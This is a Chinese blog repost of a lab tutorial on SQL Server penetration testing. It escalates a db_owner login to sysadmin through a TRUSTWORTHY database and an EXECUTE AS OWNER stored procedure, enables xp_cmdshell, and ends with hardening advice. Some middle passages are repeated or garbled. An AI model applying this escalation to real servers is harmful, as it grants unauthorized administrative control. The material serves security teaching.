记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

从基础开始谈Sql Server数据库渗透

2015-01-07 01:20

创建实验环境

接下来我会提供一个实例来演示建立一个SQL Server服务器的基本步骤。

下载Microsoft SQL Server Express 并安装SQL Server Management Studio。

按照向导一步步安装SQL Server,但请确保开启了混合验证模式以及在本地开启了相关服务。

在安装使用SQL Server Management Studio程序时使用“SA”帐户登录SQL Server并进行设置。单击“New Query”(新建查询)按钮使用TSQL,下面就创建一个名为“MyAPPDb”的数据库吧。


-- Create database
CREATE DATABASE MyAppDb 
-- Verify sa is the owner of the application database
SELECT suser_sname(owner_sid)
FROM sys.databases
WHERE name = 'MyAppDb'

 

单击新建查询,使用TSQL,接下来我们我们创建一个名为“MyAppUser”的SQL Server用户。在真实场景中DBA会创建一个帐户用来连接数据库服务器。


-- Create login
CREATE LOGIN MyAppUser WITH PASSWORD = 'MyPassword!';

 

单击新建查询然后还是看到TSQL窗口。接下来为MyAppUser用户在MyAppDb数据库中分配权限。在真实环境中DBA可能这样做,这样一个SQL Server帐户登录后,就可以使用他能够使用的数据库。


-- Setup MyAppUsers the db_owner role in MyAppDb
USE MyAppDb
ALTER LOGIN [MyAppUser] with default_database = [MyAppDb];
CREATE USER [MyAppUser] FROM LOGIN [MyAppUser];
EXEC sp_addrolemember [db_owner], [MyAppUser];
确认MyAppUser已经添加了所有权。
-- Verify the user was added as db_owner
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

 

 

设置MyAppDb数据库为可信

ALTER DATABASE MyAppDb SET TRUSTWORTHY ON


SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

 


 


使用TSQL开启xp_cmdshell,开启这个会简化我们的实验。即使我们没有开启它,它也可能被攻击者利用。
-- Enable show options
EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO

-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO
攻击可信数据库

据Microsoft指出,一个系统管理员配置可信数据库的权限时,会有意无意的允许特权帐户提升数据库的权限。据我观察,这句话部分正确。在某些场景中,也有可能是非特权用户提升权限,以后我会在博文中介绍。现在你就可以依照说明提升MyAppUser

用户的权限了。

注意:以下所述是在SQL Server 2005,2008,2012版本中测试的,其他版本作者没有测试。

使用MyAppUser用户登陆SQL Server,然后执行TSQL,创建一个名为sp_elevate_me的存储过程。这个存储过程在OWNER权限中运行,这是sa帐户存在的情况。由于是使用sa权限登录的,所以这可能将MyAppUser加入系统管理员组。另外,这真的是很可能的事情,因为db_owner角色可以在数据库中任意创建存储过程,并且这个数据库还被配置成可信的。


-- Create a stored procedure to add MyAppUser to sysadmin role
USE MyAppDb
GO
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'MyAppUser','sysadmin'
GO
确认MyAppUser并不是系统管理员
--Verify MyAppUser is not a sysadmin
SELECT is_srvrolemember('sysadmin')
SELECT is_srvrolemember('sysadmin')

下面的查询会返回SQL Server中所有的数据库,MyAppDb以及MSDB数据库会被标记成可信。

     1 2 3 4 SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;

 

使用TSQL开启xp_cmdshell,开启这个会简化我们的实验。即使我们没有开启它,它也可能被攻击者利用。

-- Verify the user was added as db_owner

 

select rp.name as database_role, mp.name as database_user

 

from sys.database_role_members drmjoin sys.database_principals rp on (drm.role_principal_id = rp.principal_id)

 

join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

如果存在,那么将被影响的数据库“TRUSTWORTHY”设置为off(包括MSDB)。这可以帮助防止,在存储过程中执行xp_cmdshell和一些其他恶意的操作。它还将执行一个仅允许存储过程查询相关数据库信息的沙盒。

另外,考虑数据库中的用户是不是有sysadmin权限。如果你的应用程序需要从外部数据库访问对象,那么下面有些方法可以替代可信数据库。CLR存储过程等,其他常见选项包括:

开启“cross db ownership chain” 但是这也会有一定风险。更多相关信息可以查看http://msdn.microsoft.com/en-us/library/ms188694.aspx.

分配应用程序组所需要的外部对象权限,但这对于管理又有一定麻烦。

Wrap Up

这篇文主要是帮助渗透测试师,开发者以及dev-ops了解一些常见的SQL Server错误配置。攻击可以直接通过数据库直接连接,但最有可能是对web,桌面,移动应用进行SQL注入。


知识来源: www.2cto.com/Article/201501/367114.html

阅读:199154 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“从基础开始谈Sql Server数据库渗透”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

标签云 ☁